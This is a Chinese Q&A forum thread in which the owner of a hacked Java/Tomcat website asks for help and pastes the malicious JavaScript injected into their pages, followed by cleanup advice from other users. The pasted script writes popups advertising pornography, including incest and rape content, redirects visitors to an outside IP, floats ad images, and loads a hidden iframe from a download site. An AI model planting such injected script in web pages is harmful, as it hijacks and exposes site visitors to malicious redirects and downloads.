首页 新闻 会员 周边

网站被挂马(java web+Tomcat)

-1
悬赏园豆:20 [已解决问题] 解决于 2017-03-25 18:45

浏览器查看界面源代码多出这个脚本。

我已用filter过滤在response的header加了x-frame-options:deny.

web.xml中filter配置的url为/*

 

20170320更新:

现在filter可以过滤掉非本域名下的httprequest,不过这个js响应让网站假死啊,怎么破

问题补充:

一打开界面就这样。

在我加filter之前不是这样。

这是多出的那个js代码,我把它下载下来了

 1 sbsb='<script language="javascript" src="http://count18.51yes.com/click.aspx?id=181588647&logo=7" charset="gb2312"></script>';document.write(sbsb);if(window.confirm('       \t\t\t极品快播欢迎您!\r\n在此感谢各新老会员对极品快播的支持!\r\n\r\n http://103.17.116.168:666/qq.html \r\n\r\n①喜讯:全网上线第一款极品快播精品APP!\r\n\r\n②喜讯:新老客户可以享受到很多的精彩视频!\r\n\r\n③诚信经营极品快播!  \r\n\r\n④乱伦,精喷无码,家庭教师,强奸剧情大量有!   ')){window.location.href='http://103.17.116.168:666/qq.html';}else{sbsb='<script language="javascript" src="http://count18.51yes.com/click.aspx?id=181588647&logo=7" charset="gb2312"></script>';document.write(sbsb);sbsb1='<iframe allowTransparency="true" src="http://103.17.116.168:666/qq.html" frameborder="0" width="100%" height="1000" frameborder=no border=0 name="I1"></iframe>'
 2 document.write(sbsb1);lastScrollY=0;function heartBeat(){var diffY;if(document.documentElement&&document.documentElement.scrollTop)
 3 diffY=document.documentElement.scrollTop;else if(document.body)
 4 diffY=document.body.scrollTop
 5 else
 6 {}
 7 percent=.1*(diffY-lastScrollY);if(percent>0)percent=Math.ceil(percent);else percent=Math.floor(percent);document.getElementById("lovexin10").style.top=parseInt(document.getElementById("lovexin10").style.top)+percent+"px";document.getElementById("lovexin11").style.top=parseInt(document.getElementById("lovexin11").style.top)+percent+"px";document.getElementById("lovexin12").style.top=parseInt(document.getElementById("lovexin12").style.top)+percent+"px";document.getElementById("lovexin13").style.top=parseInt(document.getElementById("lovexin13").style.top)+percent+"px";document.getElementById("lovexin14").style.top=parseInt(document.getElementById("lovexin14").style.top)+percent+"px";document.getElementById("lovexin15").style.top=parseInt(document.getElementById("lovexin15").style.top)+percent+"px";document.getElementById("lovexin16").style.top=parseInt(document.getElementById("lovexin16").style.top)+percent+"px";document.getElementById("lovexin17").style.top=parseInt(document.getElementById("lovexin17").style.top)+percent+"px";lastScrollY=lastScrollY+percent;}
 8 suspendcode10="<DIV id=\"lovexin10\" style='left:2px;POSITION:absolute;TOP:10px;'><a href='http://103.17.116.168:666/qq.html'  target='_blank'><img border=0 src=http://103.17.116.168:666/3.jpg width=200 height=150></div>"
 9 suspendcode12="<DIV id=\"lovexin12\" style='left:2px;POSITION:absolute;TOP:160px;'><a href='http://103.17.116.168:666/qq.html'  target='_blank'><img border=0 src=http://103.17.116.168:666/4.jpg width=200 height=150></div>"
10 suspendcode14="<DIV id=\"lovexin14\" style='left:2px;POSITION:absolute;TOP:310px;'><a href='http://103.17.116.168:666/qq.html'  target='_blank'><img border=0 src=http://103.17.116.168:666/5.jpg width=200 height=150></div>"
11 suspendcode16="<DIV id=\"lovexin16\" style='left:2px;POSITION:absolute;TOP:460px;'><a href='http://103.17.116.168:666/qq.html'  target='_blank'><img border=0 src=http://103.17.116.168:666/6.jpg width=200 height=150></div>"
12 suspendcode11="<DIV id=\"lovexin11\" style='right:2px;POSITION:absolute;TOP:10px;'><a href='http://103.17.116.168:666/qq.html'  target='_blank'><img border=0 src=http://103.17.116.168:666/7.jpg width=200 height=150></div>"
13 suspendcode13="<DIV id=\"lovexin13\" style='right:2px;POSITION:absolute;TOP:160px;'><a href='http://103.17.116.168:666/qq.html'  target='_blank'><img border=0 src=http://103.17.116.168:666/10.gif  width=200 height=150></div>"
14 suspendcode15="<DIV id=\"lovexin15\" style='right:2px;POSITION:absolute;TOP:310px;'><a href='http://103.17.116.168:666/qq.html'  target='_blank'><img border=0 src=http://103.17.116.168:666/11.gif  width=200 height=150></div>"
15 suspendcode17="<DIV id=\"lovexin17\" style='right:2px;POSITION:absolute;TOP:460px;'><a href='http://103.17.116.168:666/qq.html'  target='_blank'><img border=0 src=http://103.17.116.168:666/12.gif  width=200 height=150></div>"
16 document.write("<iframe width='0' height='0' src='http://sp.lmf123.com:8080/DownLoad/page.jsp?data=1011EZ'></iframe>");document.write(suspendcode10);document.write(suspendcode11);document.write(suspendcode12);document.write(suspendcode13);document.write(suspendcode14);document.write(suspendcode15);document.write(suspendcode16);document.write(suspendcode17);window.setInterval("heartBeat()",1);}

 下面是我写的filter:

 1 package com.filter;
 2 
 3 import java.io.IOException;
 4 
 5 import javax.servlet.Filter;
 6 import javax.servlet.FilterChain;
 7 import javax.servlet.FilterConfig;
 8 import javax.servlet.ServletException;
 9 import javax.servlet.ServletRequest;
10 import javax.servlet.ServletResponse;
11 import javax.servlet.http.HttpServletRequest;
12 import javax.servlet.http.HttpServletResponse;
13 
14 public class FrameFilter implements Filter{
15 
16     @Override
17     public void destroy() {
18         // TODO 自动生成的方法存根
19         
20     }
21 
22     @Override
23     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
24             FilterChain filterChain) throws IOException, ServletException {
25         // TODO 自动生成的方法存根
26         HttpServletRequest request = (HttpServletRequest) servletRequest;
27         HttpServletResponse response = (HttpServletResponse) servletResponse;
28         response.addHeader("x-frame-options","DENY");
29         //下面这句不能少
30         filterChain.doFilter(servletRequest, servletResponse);
31     }
32 
33     @Override
34     public void init(FilterConfig arg0) throws ServletException {
35         // TODO 自动生成的方法存根
36         
37     }
38 
39 }

 

洛水3000的主页 洛水3000 | 初学一级 | 园豆:14
提问于:2017-03-19 21:43
< >
分享
最佳答案
1

先清马再修补漏洞:

清马:你这种情况是恶意js挂马,找到那段标签清除掉。

修补漏洞:先用安全工具扫描看看哪儿还有注入或跨站等漏洞

网站的后台管理用户名和密码及后台的默认路径地址、默认的数据库名字要改、修改网站部分文件夹的读写权限、检查网站的上传文件功能是否有欺骗上传漏洞、写一下防挂代码、启用后台的验证码等等。

收获园豆:20
ycyzharry | 高人七级 |园豆:25653 | 2017-03-20 09:57

有什么推荐的软件工具,这方面不知道,我用了站长工具没用。

我这个都是从别的电脑上把项目重新部署到服务器上启动,项目的js文件看了没有新的js文件。数据库也没有多的数据。我对上传的字符串都进行了转义。下载的路径遍历我也过滤过。通过了学校安全监测软件的检测。现在可以过滤掉非本域名的httprequest,不过非本域名的js让网站假死,这个有什么办法?

洛水3000 | 园豆:14 (初学一级) | 2017-03-20 11:18

@屠龙灬世家: urlsnooper这个工具可以试试

ycyzharry | 园豆:25653 (高人七级) | 2017-03-20 13:38
其他回答(3)
0

我觉得你应该考虑看看是不是页面哪里有漏洞让别人拿到了服务器的完全控制权限

比如最近又出的 struts 漏洞...

为了安全的话可以试试把网站文件都改成只读...

sun8134 | 园豆:98 (初学一级) | 2017-03-20 09:27
0

快播重出江湖?

土生搞IT | 园豆:18 (初学一级) | 2017-03-22 14:30
0

是学校服务器有漏洞,被人获取了管理员权限。现在漏洞修复了,没事了。谢谢大家!

洛水3000 | 园豆:14 (初学一级) | 2017-03-25 18:43
清除回答草稿
   您需要登录以后才能回答,未注册用户请先注册